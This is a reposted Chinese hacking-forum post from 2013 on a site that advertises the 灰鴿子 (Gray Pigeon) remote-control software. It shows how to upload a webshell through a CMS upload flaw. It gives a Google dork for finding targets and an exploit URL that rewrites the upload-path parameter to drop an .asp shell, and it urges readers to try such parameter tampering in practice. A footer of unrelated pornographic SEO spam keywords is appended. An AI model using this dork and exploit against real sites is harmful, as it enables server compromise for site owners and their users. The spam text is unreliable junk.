灰鴿子遠程控制軟件

標題: 修改url的參數進行突破上傳限制拿webshell 灰鴿子下載www.dumiaotech.com [打印本頁]

作者: admin    時間: 2013-2-3 14:12
標題: 修改url的參數進行突破上傳限制拿webshell 灰鴿子下載www.dumiaotech.com
修改url的參數進行突破上傳限制拿webshell 灰鴿子下載


大家可能都看見過這樣的漏洞,這里以瘋子的嘉友科技cms上傳漏洞為例。

谷歌關鍵字:inurl:newslist.asp?NodeCode=   灰鴿子使用教程灰鴿子下載exp:
admin/uploadfile.asp?uppath=mad.asp&upname=&uptext=form1.mad.asp

他原上傳目錄是:/uploadfile.asp?uppath=PicPath&upname=&uptext=form1.PicPath
可以看出對參數PicPath進行了修改,
這種漏洞主要是存在文件名或者路徑過濾不嚴,在實戰中多多觀察url中的參數,可以嘗試進行修改數據。






歡迎光臨 灰鴿子遠程控制軟件 (http://www.dumiaotech.com/) Powered by Discuz! X3.4
主站蜘蛛池模板: 亚洲精品无码久久久久久久 | 无码人妻丰满熟妇区五十路百度| 亚洲无码高清在线观看 | 国产乱人无码伦av在线a| 精品人妻大屁股白浆无码| 一本之道高清无码视频| 99精品一区二区三区无码吞精 | 久久久久久亚洲av成人无码国产| 人妻av中文字幕无码专区| 高潮潮喷奶水飞溅视频无码| 18禁成年无码免费网站无遮挡| 无码AV岛国片在线播放| 免费a级毛片无码a∨免费软件| 国产精品无码一区二区三区不卡| 亚洲AV日韩AV永久无码绿巨人| 熟妇人妻中文av无码| 人妻无码第一区二区三区| 国产精品无码久久四虎| 久久久久久精品无码人妻| 亚洲色无码专区在线观看| 东京热加勒比无码视频| 午夜无码中文字幕在线播放| 人妻少妇精品无码专区漫画| 亚洲Av无码一区二区二三区 | 婷婷四虎东京热无码群交双飞视频| 国产乱子伦精品无码专区| 深夜a级毛片免费无码| 精品无码中文视频在线观看| 免费无码肉片在线观看| 国产品无码一区二区三区在线| 18禁网站免费无遮挡无码中文| 69久久精品无码一区二区| AV无码久久久久不卡蜜桃| 亚洲乱人伦中文字幕无码| 亚洲大尺度无码无码专线一区| 亚洲AV永久无码天堂影院| 无码一区二区三区中文字幕| 日韩精品人妻系列无码av东京| 免费无码午夜福利片| 东京热人妻无码人av| 久久久久亚洲精品无码系列|